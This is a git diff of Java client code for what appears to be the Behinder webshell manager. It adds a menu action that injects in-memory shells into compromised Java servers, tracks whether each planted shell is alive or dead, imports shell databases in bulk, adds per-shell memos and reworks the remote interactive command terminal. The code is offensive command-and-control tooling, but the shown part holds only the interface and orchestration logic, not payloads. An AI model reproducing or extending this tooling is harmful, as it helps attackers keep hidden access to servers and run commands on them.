Window window = alert.getDialogPane().getScene().getWindow();
window.setOnCloseRequest((e) -> {
window.hide();
@@ -352,7 +635,7 @@ private void showShellDialog(int shellID) throws Exception {
TextField urlText = new TextField();
TextField passText = new TextField();
ComboBox shellType = new ComboBox();
- ObservableList typeList = FXCollections.observableArrayList("jsp", "php", "aspx", "asp");
+ ObservableList typeList = FXCollections.observableArrayList(new String[]{"jsp", "php", "aspx", "asp"});
shellType.setItems(typeList);
ComboBox shellCatagory = new ComboBox();
@@ -410,7 +693,7 @@ private void showShellDialog(int shellID) throws Exception {
vpsInfoPane.add(commnet, 1, 5);
HBox buttonBox = new HBox();
buttonBox.setSpacing(20.0D);
- buttonBox.getChildren().addAll(cancelBtn, saveBtn);
+ buttonBox.getChildren().addAll(new Node[]{cancelBtn, saveBtn});
buttonBox.setAlignment(Pos.BOTTOM_CENTER);
vpsInfoPane.add(buttonBox, 0, 8);
GridPane.setColumnSpan(buttonBox, 2);
@@ -433,19 +716,21 @@ private void showShellDialog(int shellID) throws Exception {
String catagory = shellCatagory.getValue().toString();
String comment = commnet.getText();
String headers = header.getText();
+ String os = "";
+ int status = Constants.SHELL_STATUS_ALIVE;
+ int memType = Constants.MEMSHELL_TYPE_FILE;
try {
if (shellID == -1) {
- this.shellManager.addShell(url, password, type, catagory, comment, headers);
+ this.shellManager.addShell(url, password, type, catagory, os, comment, headers, status, memType);
} else {
this.shellManager.updateShell(shellID, url, password, type, catagory, comment, headers);
}
this.loadShellList();
return;
- } catch (Exception var20) {
- var20.printStackTrace();
- this.showErrorMessage("保存失败", var20.getMessage());
+ } catch (Exception var23) {
+ this.showErrorMessage("保存失败", var23.getMessage());
} finally {
alert.getDialogPane().getScene().getWindow().hide();
}
@@ -458,31 +743,39 @@ private void showShellDialog(int shellID) throws Exception {
alert.showAndWait();
}
- private void openShell(String url, String shellID) {
- try {
- FXMLLoader loader = new FXMLLoader(this.getClass().getResource("/net/rebeyond/behinder/ui/MainWindow.fxml"));
- Parent mainWindow = (Parent)loader.load();
- MainWindowController mainWindowController = (MainWindowController)loader.getController();
- mainWindowController.init(this.shellManager.findShell(Integer.parseInt(shellID)), this.shellManager, currentProxy);
- Stage stage = new Stage();
- stage.setTitle(url);
- stage.getIcons().add(new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/logo.jpg"))));
- stage.setUserData(url);
- stage.setScene(new Scene(mainWindow));
- stage.setOnCloseRequest((e) -> {
- Iterator var2 = mainWindowController.getWorkList().iterator();
+ private void openShell(String url, String shellID) throws Exception {
+ FXMLLoader loader = new FXMLLoader(this.getClass().getResource("/net/rebeyond/behinder/ui/MainWindow.fxml"));
+ Parent mainWindow = (Parent)loader.load();
+ MainWindowController mainWindowController = (MainWindowController)loader.getController();
+ mainWindowController.init(this.shellManager.findShell(Integer.parseInt(shellID)), this.shellManager, currentProxy);
+ Stage stage = new Stage();
+ stage.setTitle(url);
+ stage.getIcons().add(new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/logo.jpg"))));
+ stage.setUserData(url);
+ stage.setScene(new Scene(mainWindow));
+ stage.setOnCloseRequest((e) -> {
+ Runnable runner = () -> {
+ List workerList = mainWindowController.getWorkList();
+ Iterator var2 = workerList.iterator();
while(var2.hasNext()) {
Thread worker = (Thread)var2.next();
- worker.interrupt();
- }
- });
- stage.show();
- } catch (Exception var7) {
- var7.printStackTrace();
- }
+ while(worker.isAlive()) {
+ try {
+ worker.stop();
+ } catch (Exception var5) {
+ } catch (Error var6) {
+ }
+ }
+ }
+ workerList.clear();
+ };
+ Thread worker = new Thread(runner);
+ worker.start();
+ });
+ stage.show();
}
private void loadContextMenu() {
@@ -497,37 +790,22 @@ private void loadContextMenu() {
cm.getItems().add(delBtn);
MenuItem copyBtn = new MenuItem("复制URL");
cm.getItems().add(copyBtn);
+ MenuItem memShellBtn = new MenuItem("注入内存马");
+ cm.getItems().add(memShellBtn);
SeparatorMenuItem separatorBtn = new SeparatorMenuItem();
cm.getItems().add(separatorBtn);
MenuItem refreshBtn = new MenuItem("刷新");
cm.getItems().add(refreshBtn);
this.shellListTable.setContextMenu(cm);
openBtn.setOnAction((event) -> {
- String url = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(0)).getValue();
- String shellID = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(6)).getValue();
+ String url = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(this.COL_INDEX_URL)).getValue();
+ String shellID = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(this.COL_INDEX_ID)).getValue();
try {
- FXMLLoader loader = new FXMLLoader(this.getClass().getResource("/net/rebeyond/behinder/ui/MainWindow.fxml"));
- Parent mainWindow = (Parent)loader.load();
- MainWindowController mainWindowController = (MainWindowController)loader.getController();
- mainWindowController.init(this.shellManager.findShell(Integer.parseInt(shellID)), this.shellManager, currentProxy);
- Stage stage = new Stage();
- stage.setTitle(url);
- stage.getIcons().add(new Image(new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/logo.jpg"))));
- stage.setUserData(url);
- stage.setScene(new Scene(mainWindow));
- stage.setOnCloseRequest((e) -> {
- Iterator var2 = mainWindowController.getWorkList().iterator();
-
- while(var2.hasNext()) {
- Thread worker = (Thread)var2.next();
- worker.interrupt();
- }
-
- });
- stage.show();
- } catch (Exception var8) {
- var8.printStackTrace();
+ this.openShell(url, shellID);
+ } catch (Exception var5) {
+ this.statusLabel.setText("shell打开失败。");
+ var5.printStackTrace();
}
});
@@ -541,7 +819,7 @@ private void loadContextMenu() {
});
editBtn.setOnAction((event) -> {
- String shellID = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(6)).getValue();
+ String shellID = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(this.COL_INDEX_ID)).getValue();
try {
this.showShellDialog(Integer.parseInt(shellID));
@@ -552,26 +830,95 @@ private void loadContextMenu() {
});
delBtn.setOnAction((event) -> {
- Alert alert = new Alert(Alert.AlertType.CONFIRMATION);
+ int size = this.shellListTable.getSelectionModel().getSelectedItems().size();
+ Alert alert = new Alert(AlertType.CONFIRMATION);
+ alert.setResizable(true);
alert.setHeaderText("");
alert.setContentText("请确认是否删除?");
Optional result = alert.showAndWait();
if (result.get() == ButtonType.OK) {
- String shellID = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(6)).getValue();
+ Iterator var5 = this.shellListTable.getSelectionModel().getSelectedItems().iterator();
+
+ while(var5.hasNext()) {
+ Object item = var5.next();
+ String shellID = ((StringProperty)((List)item).get(this.COL_INDEX_ID)).getValue();
+
+ try {
+ this.shellManager.deleteShell(Integer.parseInt(shellID));
+ } catch (Exception var10) {
+ var10.printStackTrace();
+ }
+ }
try {
- this.shellManager.deleteShell(Integer.parseInt(shellID));
this.loadShellList();
- } catch (Exception var6) {
- var6.printStackTrace();
+ } catch (Exception var9) {
+ var9.printStackTrace();
}
}
});
copyBtn.setOnAction((event) -> {
- String url = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(0)).getValue();
+ String url = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(this.COL_INDEX_URL)).getValue();
this.copyString(url);
});
+ memShellBtn.setOnAction((event) -> {
+ String scriptType = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(this.COL_INDEX_TYPE)).getValue();
+ if (!scriptType.equals("jsp")) {
+ Utils.showErrorMessage("提示", "内存马植入目前仅支持Java");
+ } else {
+ Alert inputDialog = new Alert(AlertType.NONE);
+ inputDialog.setWidth(300.0D);
+ inputDialog.setResizable(true);
+ inputDialog.setTitle("注入内存马");
+ Window window = inputDialog.getDialogPane().getScene().getWindow();
+ window.setOnCloseRequest((e) -> {
+ window.hide();
+ });
+ GridPane injectGridPane = new GridPane();
+ injectGridPane.setVgap(15.0D);
+ injectGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D));
+ Label typeLabel = new Label("注入类型:");
+ ComboBox typeCombo = new ComboBox();
+ typeCombo.setItems(FXCollections.observableArrayList(new String[]{"Agent"}));
+ typeCombo.getSelectionModel().selectedItemProperty().addListener((options, oldValue, newValue) -> {
+ if (!newValue.equals("Filter") && newValue.equals("Servlet")) {
+ }
+
+ });
+ typeCombo.getSelectionModel().select(0);
+ Label pathLabel = new Label("注入路径:");
+ pathLabel.setAlignment(Pos.CENTER_RIGHT);
+ TextField pathText = new TextField();
+ pathText.setPrefWidth(300.0D);
+ pathText.setPromptText("支持正则表达式,如/shell/memshell.*");
+ Button cancelBtn = new Button("取消");
+ Button saveBtn = new Button("保存");
+ saveBtn.setOnAction((e) -> {
+ this.statusLabel.setText("正在植入内存马……");
+ String shellID = ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(this.COL_INDEX_ID)).getValue();
+ String type = typeCombo.getValue().toString();
+ this.injectMemShell(Integer.parseInt(shellID), type, pathText.getText().trim());
+ inputDialog.getDialogPane().getScene().getWindow().hide();
+ });
+ cancelBtn.setOnAction((e) -> {
+ inputDialog.getDialogPane().getScene().getWindow().hide();
+ });
+ injectGridPane.add(typeLabel, 0, 0);
+ injectGridPane.add(typeCombo, 1, 0);
+ injectGridPane.add(pathLabel, 0, 1);
+ injectGridPane.add(pathText, 1, 1);
+ HBox buttonBox = new HBox();
+ buttonBox.setSpacing(20.0D);
+ buttonBox.setAlignment(Pos.CENTER);
+ buttonBox.getChildren().add(cancelBtn);
+ buttonBox.getChildren().add(saveBtn);
+ GridPane.setColumnSpan(buttonBox, 2);
+ injectGridPane.add(buttonBox, 0, 2);
+ inputDialog.getDialogPane().setContent(injectGridPane);
+ inputDialog.showAndWait();
+ }
+ });
refreshBtn.setOnAction((event) -> {
try {
this.loadShellList();
@@ -582,6 +929,29 @@ private void loadContextMenu() {
});
}
+ private int getMemTypeFromType(String type) {
+ if (type.equals("Agent")) {
+ return Constants.MEMSHELL_TYPE_AGENT;
+ } else if (type.equals("Filter")) {
+ return Constants.MEMSHELL_TYPE_FILTER;
+ } else {
+ return type.equals("Servlet") ? Constants.MEMSHELL_TYPE_SERVLET : Constants.MEMSHELL_TYPE_FILE;
+ }
+ }
+
+ private void addShell(JSONObject shellEntity) throws Exception {
+ String url = Utils.getOrDefault(shellEntity, "url", String.class);
+ String password = Utils.getOrDefault(shellEntity, "password", String.class);
+ String type = Utils.getOrDefault(shellEntity, "type", String.class);
+ String catagory = Utils.getOrDefault(shellEntity, "catagory", String.class);
+ String os = Utils.getOrDefault(shellEntity, "os", String.class);
+ String comment = Utils.getOrDefault(shellEntity, "comment", String.class);
+ String headers = Utils.getOrDefault(shellEntity, "headers", String.class);
+ int status = Integer.parseInt(Utils.getOrDefault(shellEntity, "status", Integer.TYPE));
+ int memType = Integer.parseInt(Utils.getOrDefault(shellEntity, "memType", Integer.TYPE));
+ this.shellManager.addShell(url, password, type, catagory, os, comment, headers, status, memType);
+ }
+
private void loadShellList() throws Exception {
this.shellListTable.getItems().clear();
JSONArray shellList = this.shellManager.listShell();
@@ -603,17 +973,21 @@ private void fillShellRows(JSONArray jsonArray) {
String comment = rowObj.getString("comment");
SimpleDateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
String addTime = df.format(new Timestamp(rowObj.getLong("addtime")));
+ int status = rowObj.getInt("status");
+ int memType = rowObj.getInt("memType");
List row = new ArrayList();
- row.add(0, new SimpleStringProperty(url));
- row.add(1, new SimpleStringProperty(ip));
- row.add(2, new SimpleStringProperty(type));
- row.add(3, new SimpleStringProperty(os));
- row.add(4, new SimpleStringProperty(comment));
- row.add(5, new SimpleStringProperty(addTime));
- row.add(6, new SimpleStringProperty(id + ""));
+ row.add(this.COL_INDEX_URL, new SimpleStringProperty(url));
+ row.add(this.COL_INDEX_IP, new SimpleStringProperty(ip));
+ row.add(this.COL_INDEX_TYPE, new SimpleStringProperty(type));
+ row.add(this.COL_INDEX_OS, new SimpleStringProperty(os));
+ row.add(this.COL_INDEX_COMMENT, new SimpleStringProperty(comment));
+ row.add(this.COL_INDEX_ADDTIME, new SimpleStringProperty(addTime));
+ row.add(this.COL_INDEX_STATUS, new SimpleStringProperty(status + ""));
+ row.add(this.COL_INDEX_ID, new SimpleStringProperty(id + ""));
+ row.add(this.COL_INDEX_MEMTYPE, new SimpleStringProperty(memType + ""));
data.add(row);
- } catch (Exception var14) {
- var14.printStackTrace();
+ } catch (Exception var16) {
+ var16.printStackTrace();
}
}
@@ -628,7 +1002,7 @@ private void copyString(String str) {
}
private void showErrorMessage(String title, String msg) {
- Alert alert = new Alert(Alert.AlertType.ERROR);
+ Alert alert = new Alert(AlertType.ERROR);
Window window = alert.getDialogPane().getScene().getWindow();
window.setOnCloseRequest((event) -> {
window.hide();
@@ -646,7 +1020,7 @@ private void initCatagoryMenu() {
MenuItem delCatagoryBtn = new MenuItem("删除");
treeContextMenu.getItems().add(delCatagoryBtn);
addCatagoryBtn.setOnAction((event) -> {
- Alert alert = new Alert(Alert.AlertType.CONFIRMATION);
+ Alert alert = new Alert(AlertType.CONFIRMATION);
alert.setTitle("新增分类");
alert.setHeaderText("");
GridPane panel = new GridPane();
@@ -676,7 +1050,7 @@ private void initCatagoryMenu() {
});
delCatagoryBtn.setOnAction((event) -> {
if (this.catagoryTreeView.getSelectionModel().getSelectedItem() != null) {
- Alert alert = new Alert(Alert.AlertType.CONFIRMATION);
+ Alert alert = new Alert(AlertType.CONFIRMATION);
alert.setHeaderText("");
alert.setContentText("请确认是否删除?仅删除分类信息,不会删除该分类下的网站。");
Optional result = alert.showAndWait();
@@ -734,4 +1108,64 @@ private void initCatagoryTree() throws Exception {
this.catagoryTreeView.setRoot(rootItem);
this.catagoryTreeView.getSelectionModel().select(rootItem);
}
+
+ private void importData() throws Exception {
+ FileChooser fileChooser = new FileChooser();
+ fileChooser.setTitle("请选择需要导入的data.db文件");
+ File selectdFile = fileChooser.showOpenDialog(this.shellListTable.getScene().getWindow());
+ if (selectdFile != null) {
+ String dbPath = selectdFile.getAbsolutePath();
+ ShellManager oldShellManager = new ShellManager(dbPath);
+ JSONArray shells = oldShellManager.listShell();
+ Runnable runner = () -> {
+ int count = 0;
+ int duplicateCount = 0;
+
+ for(int i = 0; i < shells.length(); ++i) {
+ JSONObject shellEntity = shells.getJSONObject(i);
+
+ try {
+ final Integer finalCount = count;
+ Platform.runLater(() -> {
+ this.statusLabel.setText(String.format("正在导入%d/%d...", finalCount, shells.length()));
+ });
+ this.addShell(shellEntity);
+ ++count;
+ } catch (Exception var8) {
+ if (var8.getMessage().equals("该URL已存在")) {
+ ++duplicateCount;
+ }
+ }
+ }
+
+ final Integer finalDuplicateCount = duplicateCount;
+ final Integer finalCount = count;
+ Platform.runLater(() -> {
+ this.statusLabel.setText("导入完成。");
+ Utils.showInfoMessage("提示", String.format("导入完成,共有%d条数据,%d条数据已存在,新导入%d数据,", shells.length(), finalDuplicateCount, finalCount));
+
+ try {
+ this.loadShellList();
+ } catch (Exception var5) {
+ }
+
+ });
+ oldShellManager.closeConnection();
+ };
+ Thread worker = new Thread(runner);
+ worker.start();
+ }
+ }
+
+ private String getSelectedShellID() {
+ return ((StringProperty)((List)this.shellListTable.getSelectionModel().getSelectedItem()).get(this.COL_INDEX_ID)).getValue();
+ }
+
+ private int getShellID(ArrayList item) {
+ return Integer.parseInt(((SimpleStringProperty)item.get(this.COL_INDEX_ID)).getValue());
+ }
+
+ private String getShellUrl(ArrayList item) {
+ return ((SimpleStringProperty)item.get(this.COL_INDEX_URL)).getValue();
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/MainWindowController.java b/src/main/java/net/rebeyond/behinder/ui/controller/MainWindowController.java
index 1249c9f..18095fa 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/MainWindowController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/MainWindowController.java
@@ -75,6 +75,8 @@ public class MainWindowController {
private UpdateInfoViewController updateInfoViewController;
@FXML
private UserCodeViewController userCodeViewController;
+ @FXML
+ private MemoViewController memoViewController;
private Map basicInfoMap = new HashMap();
private List workList = new ArrayList();
@@ -92,6 +94,11 @@ public void changed(ObservableValue ov, String t, String t1) {
MainWindowController.this.statusLabel.setTooltip(new Tooltip(t1));
}
});
+// this.statusLabel.textProperty().addListener(new ChangeListener() {
+// public void changed(ObservableValue ov, String t, String t1) {
+// MainWindowController.this.statusLabel.setTooltip(new Tooltip(t1));
+// }
+// });
this.versionLabel.setText(String.format(this.versionLabel.getText(), Constants.VERSION));
this.urlText.textProperty().addListener((observable, oldValue, newValue) -> {
try {
@@ -108,10 +115,13 @@ public void changed(ObservableValue ov, String t, String t1) {
String driveList = (new String(Base64.decode(basicInfoObj.getString("driveList")), "UTF-8")).replace(":\\", ":/");
String currentPath = new String(Base64.decode(basicInfoObj.getString("currentPath")), "UTF-8");
String osInfo = (new String(Base64.decode(basicInfoObj.getString("osInfo")), "UTF-8")).toLowerCase();
+ String arch = (new String(Base64.decode(basicInfoObj.getString("arch")), "UTF-8")).toLowerCase();
this.basicInfoMap.put("basicInfo", basicInfoStr);
this.basicInfoMap.put("driveList", driveList);
- this.basicInfoMap.put("currentPath", currentPath);
+ this.basicInfoMap.put("currentPath", Utils.formatPath(currentPath));
+ this.basicInfoMap.put("workPath", Utils.formatPath(currentPath));
this.basicInfoMap.put("osInfo", osInfo.replace("winnt", "windows"));
+ this.basicInfoMap.put("arch", arch);
this.shellManager.updateOsInfo(this.shellEntity.getInt("id"), osInfo);
Platform.runLater(new Runnable() {
public void run() {
@@ -122,13 +132,13 @@ public void run() {
MainWindowController.this.realCmdViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel, MainWindowController.this.basicInfoMap);
MainWindowController.this.pluginViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel, MainWindowController.this.shellManager);
MainWindowController.this.fileManagerViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel, MainWindowController.this.basicInfoMap);
- MainWindowController.this.reverseViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel);
+ MainWindowController.this.reverseViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel, MainWindowController.this.basicInfoMap);
MainWindowController.this.databaseViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel);
MainWindowController.this.tunnelViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel);
MainWindowController.this.updateInfoViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel);
MainWindowController.this.userCodeViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel);
+ MainWindowController.this.memoViewController.init(MainWindowController.this.currentShellService, MainWindowController.this.workList, MainWindowController.this.statusLabel, MainWindowController.this.shellManager);
} catch (Exception var2) {
- var2.printStackTrace();
}
MainWindowController.this.connStatusLabel.setText("已连接");
@@ -136,14 +146,20 @@ public void run() {
MainWindowController.this.statusLabel.setText("[OK]连接成功,基本信息获取完成。");
}
});
+ this.shellManager.setShellStatus(this.shellEntity.getInt("id"), Constants.SHELL_STATUS_ALIVE);
this.currentShellService.keepAlive();
- } catch (final Exception var9) {
+ } catch (final Exception var10) {
Platform.runLater(new Runnable() {
public void run() {
- var9.printStackTrace();
MainWindowController.this.connStatusLabel.setText("连接失败");
MainWindowController.this.connStatusLabel.setTextFill(Color.RED);
- MainWindowController.this.statusLabel.setText("[ERROR]连接失败:" + var9.getMessage());
+ MainWindowController.this.statusLabel.setText("[ERROR]连接失败:" + var10.getClass().getName() + ":" + var10.getMessage());
+
+ try {
+ MainWindowController.this.shellManager.setShellStatus(MainWindowController.this.shellEntity.getInt("id"), Constants.SHELL_STATUS_DEAD);
+ } catch (Exception var2) {
+ }
+
}
});
}
@@ -153,7 +169,6 @@ public void run() {
this.workList.add(workThrad);
workThrad.start();
} catch (Exception var7) {
- var7.printStackTrace();
}
});
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/MemoViewController.java b/src/main/java/net/rebeyond/behinder/ui/controller/MemoViewController.java
new file mode 100644
index 0000000..df2b4ff
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/MemoViewController.java
@@ -0,0 +1,51 @@
+package net.rebeyond.behinder.ui.controller;
+
+import java.util.List;
+import javafx.beans.value.ChangeListener;
+import javafx.beans.value.ObservableValue;
+import javafx.fxml.FXML;
+import javafx.scene.control.Label;
+import javafx.scene.control.TextArea;
+import net.rebeyond.behinder.core.ShellService;
+import net.rebeyond.behinder.dao.ShellManager;
+import org.json.JSONObject;
+
+public class MemoViewController {
+ private ShellManager shellManager;
+ @FXML
+ private TextArea memoTextArea;
+ private ShellService currentShellService;
+ private JSONObject shellEntity;
+ private List workList;
+ private Label statusLabel;
+
+ public void init(ShellService shellService, List workList, Label statusLabel, ShellManager shellManager) {
+ this.currentShellService = shellService;
+ this.shellEntity = shellService.getShellEntity();
+ this.workList = workList;
+ this.statusLabel = statusLabel;
+ this.shellManager = shellManager;
+ this.initMemoView();
+ }
+
+ private void initMemoView() {
+ this.loadMemoContent();
+ this.memoTextArea.textProperty().addListener(new ChangeListener() {
+ public void changed(ObservableValue observableValue, String s, String memoContent) {
+ try {
+ MemoViewController.this.statusLabel.setText("正在保存备忘录……");
+ MemoViewController.this.shellManager.updateMemo(MemoViewController.this.shellEntity.getInt("id"), memoContent);
+ MemoViewController.this.statusLabel.setText("备忘录已自动保存");
+ } catch (Exception var5) {
+ MemoViewController.this.statusLabel.setText("备忘录自动保存失败:" + var5.getMessage());
+ }
+
+ }
+ });
+ }
+
+ private void loadMemoContent() {
+ String memoContent = this.shellEntity.getString("memo");
+ this.memoTextArea.setText(memoContent);
+ }
+}
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/PluginViewController.java b/src/main/java/net/rebeyond/behinder/ui/controller/PluginViewController.java
index 1816b25..895377f 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/PluginViewController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/PluginViewController.java
@@ -2,7 +2,7 @@
import java.io.File;
import java.util.List;
-import javafx.concurrent.Worker;
+import javafx.concurrent.Worker.State;
import javafx.fxml.FXML;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
@@ -12,6 +12,7 @@
import javafx.scene.control.Label;
import javafx.scene.control.TitledPane;
import javafx.scene.control.Tooltip;
+import javafx.scene.control.Alert.AlertType;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.layout.AnchorPane;
@@ -22,6 +23,7 @@
import javafx.scene.web.WebView;
import javafx.stage.FileChooser;
import javafx.stage.Window;
+import javafx.stage.FileChooser.ExtensionFilter;
import net.rebeyond.behinder.core.PluginTools;
import net.rebeyond.behinder.core.ShellService;
import net.rebeyond.behinder.dao.ShellManager;
@@ -71,7 +73,7 @@ private void initPluginView() {
PluginTools pluginTools = new PluginTools(this.currentShellService, this.pluginWebView, this.statusLabel, this.workList);
WebEngine webEngine = this.pluginWebView.getEngine();
webEngine.getLoadWorker().stateProperty().addListener((ov, oldState, newState) -> {
- if (newState == Worker.State.SUCCEEDED) {
+ if (newState == State.SUCCEEDED) {
JSObject win = (JSObject)webEngine.executeScript("window");
win.setMember("PluginTools", pluginTools);
}
@@ -81,7 +83,6 @@ private void initPluginView() {
try {
this.loadPlugins();
} catch (Exception var4) {
- var4.printStackTrace();
}
this.pluginDetailGridPane.setOpacity(0.0D);
@@ -99,7 +100,6 @@ private void loadPluginDetail(JSONObject pluginObj) {
this.qrcodeImageView.setImage(new Image(qrcodeFilePath));
} catch (Exception var4) {
this.statusLabel.setText("插件开发者赞赏二维码加载失败");
- var4.printStackTrace();
}
}
@@ -122,7 +122,7 @@ private boolean checkPluginExist(JSONObject pluginObj) throws Exception {
}
private void showErrorMessage(String title, String msg) {
- Alert alert = new Alert(Alert.AlertType.ERROR);
+ Alert alert = new Alert(AlertType.ERROR);
Window window = alert.getDialogPane().getScene().getWindow();
window.setOnCloseRequest((event) -> {
window.hide();
@@ -197,7 +197,6 @@ private void addPluginBox(JSONObject pluginObj) throws Exception {
this.pluginDetailGridPane.setOpacity(1.0D);
this.loadPluginDetail(pluginObj);
} catch (Exception var5) {
- var5.printStackTrace();
}
});
@@ -217,7 +216,7 @@ private void initPluginInstall() {
this.installLocalBtn.setOnAction((event) -> {
FileChooser fileChooser = new FileChooser();
fileChooser.setTitle("请选择需要安装的插件包");
- fileChooser.getExtensionFilters().addAll(new FileChooser.ExtensionFilter("All ZIP Files", new String[]{"*.zip"}));
+ fileChooser.getExtensionFilters().addAll(new ExtensionFilter[]{new ExtensionFilter("All ZIP Files", new String[]{"*.zip"})});
File pluginFile = fileChooser.showOpenDialog(this.pluginFlowPane.getScene().getWindow());
try {
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/RealCmdViewController.java b/src/main/java/net/rebeyond/behinder/ui/controller/RealCmdViewController.java
index 6fa6aa8..8086abb 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/RealCmdViewController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/RealCmdViewController.java
@@ -38,7 +38,7 @@ public class RealCmdViewController {
private RealCmdViewController me = this;
@FXML
private WebView mywebview;
- private final LinkedBlockingQueue commandQueue = new LinkedBlockingQueue();
+ private LinkedBlockingQueue commandQueue;
private boolean immediatelyRead = false;
private int running;
@@ -60,6 +60,9 @@ public void receive(String input) {
this.statusLabel.setText("虚拟终端已停止,请先启动虚拟终端.");
} else {
this.commandQueue.offer(input);
+// Thread var3;
+// for(Iterator var2 = this.cmdWorkList.iterator(); var2.hasNext(); var3 = (Thread)var2.next()) {
+// }
}
}
@@ -68,9 +71,13 @@ private void stopWorkers() {
while(var1.hasNext()) {
Thread worker = (Thread)var1.next();
- worker.interrupt();
+
+ while(worker.isAlive()) {
+ worker.stop();
+ }
}
+ this.cmdWorkList.clear();
}
private void initWorkers() {
@@ -107,7 +114,9 @@ private void initWorkers() {
}
};
Thread cmdWriterWorker = new Thread(cmdWriter);
+ cmdWriterWorker.setName("cmdWriterWorker");
this.cmdWorkList.add(cmdWriterWorker);
+ this.workList.add(cmdWriterWorker);
cmdWriterWorker.start();
Runnable cmdReader = () -> {
int blankCount = 0;
@@ -115,49 +124,58 @@ private void initWorkers() {
while(true) {
while(true) {
- try {
- JSONObject resultObj = this.currentShellService.readRealCMD();
- String status = resultObj.getString("status");
- String msg = resultObj.getString("msg");
- if (msg.length() < 1) {
- Thread.sleep(20L);
- ++blankCount;
-
- while(blankCount > 10 && sleepCount < 20 && !this.immediatelyRead) {
- Thread.sleep((long)(10 * (new Random()).nextInt(5)));
- ++sleepCount;
- }
-
- sleepCount = 0;
- if (this.immediatelyRead) {
+ while(true) {
+ try {
+ JSONObject resultObj = this.currentShellService.readRealCMD();
+ String status = resultObj.getString("status");
+ String msg = resultObj.getString("msg");
+ if (status.equals("fail")) {
+ Platform.runLater(() -> {
+ this.statusLabel.setText(msg);
+ });
+ Thread.sleep(200L);
+ } else if (msg.length() >= 1) {
blankCount = 0;
- this.immediatelyRead = false;
- }
+ Platform.runLater(() -> {
+ this.write(msg);
+ });
+ } else {
+ Thread.sleep(20L);
+ ++blankCount;
- if (blankCount > 15) {
- while(sleepCount < 1000 && !this.immediatelyRead) {
+ while(blankCount > 10 && sleepCount < 20 && !this.immediatelyRead) {
Thread.sleep((long)(10 * (new Random()).nextInt(5)));
++sleepCount;
}
sleepCount = 0;
- this.immediatelyRead = false;
+ if (this.immediatelyRead) {
+ blankCount = 0;
+ this.immediatelyRead = false;
+ }
+
+ if (blankCount > 15) {
+ while(sleepCount < 1000 && !this.immediatelyRead) {
+ Thread.sleep((long)(10 * (new Random()).nextInt(5)));
+ ++sleepCount;
+ }
+
+ sleepCount = 0;
+ this.immediatelyRead = false;
+ }
}
- } else {
- blankCount = 0;
- Platform.runLater(() -> {
- this.write(msg);
- });
+ } catch (InterruptedException var6) {
+ } catch (Exception var7) {
+ System.err.println(var7.getMessage());
}
- } catch (InterruptedException var6) {
- } catch (Exception var7) {
- var7.printStackTrace();
}
}
}
};
Thread cmdReaderWorker = new Thread(cmdReader);
+ cmdReaderWorker.setName("cmdReaderWorker");
this.cmdWorkList.add(cmdReaderWorker);
+ this.workList.add(cmdReaderWorker);
cmdReaderWorker.start();
}
@@ -190,11 +208,13 @@ private void initRealCmdView() {
this.realCmdBtn.setOnAction((event) -> {
if (this.realCmdBtn.getText().equals("启动")) {
this.statusLabel.setText("正在启动虚拟终端……");
+ this.initCmdQueue();
this.createRealCmd();
this.initWorkers();
} else {
this.stopRealCmd();
this.stopWorkers();
+ this.destroyCmdQueue();
}
});
@@ -206,6 +226,17 @@ private void initRealCmdView() {
this.mywebview.getEngine().load(this.getClass().getResource("/net/rebeyond/behinder/resource/hterm.html").toExternalForm());
}
+ private void initCmdQueue() {
+ this.commandQueue = new LinkedBlockingQueue();
+ }
+
+ private void destroyCmdQueue() {
+ if (this.commandQueue != null) {
+ this.commandQueue = null;
+ }
+
+ }
+
public void copyText(String text) {
Utils.setClipboardString(text);
}
@@ -217,7 +248,6 @@ private void write(String text) {
JSObject htermIO = (JSObject)terminal.getMember("io");
htermIO.call("print", new Object[]{text});
} catch (Exception var5) {
- var5.printStackTrace();
}
}
@@ -232,12 +262,12 @@ public void run() {
try {
RealCmdViewController.this.currentShellService.createRealCMD(bashPath);
} catch (Exception var2) {
